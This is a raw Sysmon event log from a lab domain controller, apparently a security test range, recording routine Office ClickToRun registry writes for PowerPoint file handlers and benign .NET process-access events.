14:43:58.018{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.Slide.12\shell\Show\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE /s "%%1" 13241300x800000000000000040205Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.018{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.Slide.12\shell\Print\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE /p "%%1" 13241300x800000000000000040204Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.018{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.Slide.12\shell\OpenAsReadOnly\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE /h "%%1" 13241300x800000000000000040203Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.018{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.Slide.12\shell\Open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE "%%1" /ou "%%u" 13241300x800000000000000040202Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.018{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.Slide.12\shell\New\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE /n "%%1" 13241300x800000000000000040201Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.003{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.Slide.12\shell\Edit\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /vu "%%1" 13241300x800000000000000040200Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.003{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.SlideMacroEnabled.12\shell\ViewProtected\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /vp "%%1" 13241300x800000000000000040199Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.003{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.SlideMacroEnabled.12\shell\Show\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE /s "%%1" 10341000x800000000000000040198Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.003{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F2E-613B-5E08-00000000F001}1012C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040197Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.003{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F2E-613B-5E08-00000000F001}1012C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 13241300x800000000000000040196Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.003{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.SlideMacroEnabled.12\shell\Print\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE /p "%%1" 13241300x800000000000000040195Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.003{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.SlideMacroEnabled.12\shell\OpenAsReadOnly\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE /h "%%1" 13241300x800000000000000040194Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.003{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.SlideMacroEnabled.12\shell\Open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE "%%1" /ou "%%u" 13241300x800000000000000040193Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.003{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.SlideMacroEnabled.12\shell\New\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE /n "%%1" 13241300x800000000000000040192Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.003{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.SlideMacroEnabled.12\shell\Edit\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /vu "%%1" 13241300x800000000000000040191Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.003{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.Wizard.8\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "%%1" /ou "%%u" 13241300x800000000000000040190Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.987{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\powerpointxmlfile\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" 13241300x800000000000000040189Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.987{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.Show.12\shell\ViewProtected\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /vp "%%1" 13241300x800000000000000040188Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.987{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.Show.12\shell\Show\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /s "%%1" 13241300x800000000000000040187Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.987{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.Show.12\shell\PrintTo\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /pt "%%2" "%%3" "%%4" "%%1" 13241300x800000000000000040186Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.987{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.Show.12\shell\Print\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /p "%%1" 13241300x800000000000000040185Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.987{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.Show.12\shell\OpenAsReadOnly\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE /h "%%1" 13241300x800000000000000040184Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.987{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.Show.12\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "%%1" /ou "%%u" 13241300x800000000000000040183Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.971{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.Show.12\shell\New\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /n "%%1" 13241300x800000000000000040182Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.971{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.Show.12\shell\Edit\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /vu "%%1" 13241300x800000000000000040181Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.971{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.ShowMacroEnabled.12\shell\ViewProtected\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /vp "%%1" 13241300x800000000000000040180Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.971{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.ShowMacroEnabled.12\shell\Show\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /s "%%1" 13241300x800000000000000040179Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.971{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.ShowMacroEnabled.12\shell\PrintTo\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /pt "%%2" "%%3" "%%4" "%%1" 13241300x800000000000000040178Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.971{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.ShowMacroEnabled.12\shell\Print\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /p "%%1" 10341000x800000000000000040177Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.971{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2D-613B-5D08-00000000F001}6224C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000040176Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.971{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.ShowMacroEnabled.12\shell\OpenAsReadOnly\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE /h "%%1" 13241300x800000000000000040175Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.971{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.ShowMacroEnabled.12\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "%%1" /ou "%%u" 13241300x800000000000000040174Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.971{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.ShowMacroEnabled.12\shell\New\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /n "%%1" 13241300x800000000000000040173Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.971{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.ShowMacroEnabled.12\shell\Edit\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /vu "%%1" 23542300x800000000000000040172Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.956{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2B4D911111F4F7A69262EBCD127C596D,SHA256=F8CE262330C0D61A090E8225D78327B877B6DF9E927F0F9ACA1FB066231F80E7,IMPHASH=00000000000000000000000000000000falsetrue 13241300x800000000000000040171Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.956{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\powerpointhtmlfile\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" 13241300x800000000000000040170Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.956{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.Show.8\shell\ViewProtected\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /vp "%%1" 13241300x800000000000000040169Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.956{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.Show.8\shell\Show\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /s "%%1" 13241300x800000000000000040168Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.956{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.Show.8\shell\PrintTo\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /pt "%%2" "%%3" "%%4" "%%1" 10341000x800000000000000040167Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.956{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{00000000-0000-0000-0000-000000000000}6224C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040166Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.956{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{00000000-0000-0000-0000-000000000000}6224C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 13241300x800000000000000040165Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.956{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.Show.8\shell\Print\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /p "%%1" 13241300x800000000000000040164Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.956{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.Show.8\shell\OpenAsReadOnly\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE /h "%%1" 13241300x800000000000000040163Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.956{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.Show.8\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "%%1" /ou "%%u" 13241300x800000000000000040162Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.956{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.Show.8\shell\New\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /n "%%1" 13241300x800000000000000040161Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.956{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.Show.8\shell\Edit\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /vu "%%1" 13241300x800000000000000040160Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.940{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.SlideShow.12\shell\ViewProtected\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /vp "%%1" 13241300x800000000000000040159Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.940{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.SlideShow.12\shell\Print\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /p "%%1" 13241300x800000000000000040158Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.940{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.SlideShow.12\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /s "%%1" /ou "%%u" 13241300x800000000000000040157Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.940{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.SlideShow.12\shell\New\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /n "%%1" 13241300x800000000000000040156Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.940{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.SlideShow.12\shell\Edit\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /vu "%%1" 10341000x800000000000000040533Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:59.487{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2F-613B-6D08-00000000F001}6916C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040532Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:59.471{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F2F-613B-6D08-00000000F001}6916C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040531Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:59.471{7BD73061-6F29-613B-3408-00000000F001}55565184C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F2F-613B-6D08-00000000F001}6916C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d19b(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d23f(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d2bd(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000040530Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 